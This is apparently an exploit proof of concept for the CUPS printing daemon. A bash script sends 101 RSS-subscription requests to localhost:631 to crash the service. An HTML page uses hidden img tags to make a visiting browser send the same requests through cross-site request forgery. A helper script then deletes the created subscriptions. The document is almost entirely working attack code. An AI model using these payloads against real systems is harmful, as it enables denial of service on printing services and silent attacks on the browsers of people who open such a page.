#!/bin/bash # cups_dos.sh # note: curl is required for this script to work. on Ubuntu you can: # $ sudo apt-get install curl URL="http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20"; for((i=1;i<=101;i++)) do if ! curl -s --url $URL | grep 'CUPS'>/dev/null then echo "no response. daemon crashed?"; exit; else echo "rss subscription added: #$i"; fi done |
<!-- cat cups_dos_poc.html --> <script> // make 101 CSRFed requests to CUPS daemon via 'img' tags for(var i=1;i<=101;++i) { document.write("<img width=0 height=0 " + "src=\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" + i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\">"); } </script> |
#!/bin/bash # cups_del_subs.sh if [[ $# -ne 2 ]] then echo "usage: $0 <start-ID> <end-ID>"; exit fi echo -en "deleting RSS subscription ID: "; for((i=$1;i<=$2;++i)) do echo -en "$i "; curl -s --URL "http://localhost:631/admin/?op=cancel-subscription¬ify_subscription_id=$i" \ >/dev/null; done echo -en "\n"; |